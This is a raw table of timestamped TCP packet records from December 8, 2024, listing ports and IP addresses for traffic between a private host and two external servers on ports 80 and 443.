Dec 8, 2024 17:45:48.236314058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.236380100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.236458063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.236567020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.237025976 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.237045050 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.237092018 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.237102032 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.237128019 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.237147093 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.237304926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.237487078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.237533092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.238362074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.238423109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.238516092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.238558054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.239408016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.239504099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.239551067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.239636898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.240427971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.240474939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.240482092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.240544081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.241321087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.241333008 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.241372108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.242305994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.242363930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.242425919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.242496014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.243339062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.243383884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.243402958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.243644953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.244535923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.244596004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.244618893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.244699955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.245373964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.245439053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.245470047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.245537043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.246526957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.246537924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.246598005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.247380972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.247438908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.247476101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.248440027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.248531103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.248552084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.248608112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.249603033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.249670029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.249717951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.249891996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.250458956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.250554085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.250581980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.250672102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.251518965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.251709938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.267605066 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.267621994 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.267683029 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.267689943 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.267743111 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.333983898 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.334019899 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.334048033 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.334053040 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.334078074 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.334111929 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.336822033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.336834908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.336900949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.336900949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.337321997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.337413073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.337476969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.337589025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.338381052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.338427067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.338501930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.338553905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.339399099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.339451075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.339471102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.339611053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.340296984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.340353966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.340405941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.340461969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.341278076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.341339111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.341392994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.341439009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.342334032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.342345953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.342402935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.343570948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.343678951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.343689919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.343749046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.344305992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.344415903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.344440937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.344491005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.345397949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.345455885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.345503092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.345556021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.346378088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.346421003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.346427917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.346560001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.347374916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.347424030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.347590923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.347640991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.348404884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.348453045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.348484993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.348568916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.349370003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.349415064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.349514961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.349560976 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.350517035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.350590944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.350967884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.351444006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.351520061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.351562023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.351609945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.352585077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.352638960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.352664948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.352725983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.353507042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.353518963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.353559017 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.353574991 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.353576899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.353622913 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.353627920 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.353642941 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.353661060 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.354516029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.354604006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.354624033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.354655981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.355492115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.355556011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.355587006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.355693102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.371753931 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.371779919 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.371822119 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.371829033 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.371851921 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.371875048 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.386342049 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.386362076 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.386424065 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.386430025 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.386862993 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.402448893 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.402467012 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.402514935 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.402520895 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.402822971 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.410803080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.410870075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.411036015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.411087036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.411338091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.411396980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.411470890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.411705971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.412321091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.412389040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.412405968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.412497044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.413328886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.413414955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.413554907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.413647890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.414361954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.414438963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.414468050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.414535999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.414748907 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.414766073 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.414830923 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.414836884 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.414879084 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.415350914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.415463924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.415513992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.416378021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.416480064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.416552067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.417387962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.417480946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.417490005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.417603016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.418390036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.418446064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.418509007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.418617010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.419429064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.419528961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.419558048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.419614077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.420429945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.420578003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.420691013 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.421458006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.421550035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.421560049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.421593904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.422481060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.422527075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.422591925 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.422641993 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.423492908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.423551083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.423669100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.423746109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.424515009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.424592972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.424597025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.424695969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.425673962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.425723076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.425806046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.425914049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.426628113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.426711082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.426736116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.426826000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.427731037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.427778006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.427984953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.428045034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.429150105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.429222107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.429238081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.429308891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.429661989 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.429677963 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.429723024 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.429728985 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.429753065 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.429774046 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.430195093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.430252075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.430267096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.430480003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.430994987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.431068897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.431114912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.431114912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.431694031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.431740999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.431761980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.431847095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.432605028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.432701111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.432776928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.433612108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.433737040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.433758974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.433773041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.434638977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.434706926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.434761047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.434956074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.435668945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.435728073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.435851097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.435904026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.436707973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.436767101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.436940908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.437015057 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.437674046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.437781096 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.437786102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.437855005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.438692093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.438741922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.438764095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.438853025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.439734936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.439781904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.439841986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.439909935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.440743923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.440807104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.440829039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.440969944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.441829920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.441925049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.441932917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.442033052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.442819118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.442867994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.442975044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.443778038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.443989038 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.520863056 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.520881891 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.520967007 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.520973921 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.521008015 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.529011011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.529072046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.529088020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.529295921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.529489040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.529546976 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.529611111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.529663086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.530543089 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.530558109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.530559063 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.530613899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.530615091 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.530621052 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.530625105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.530663013 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.530697107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.531537056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.531600952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.531632900 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.531694889 CET	49805	80	192.168.2.6	185.215.113.206
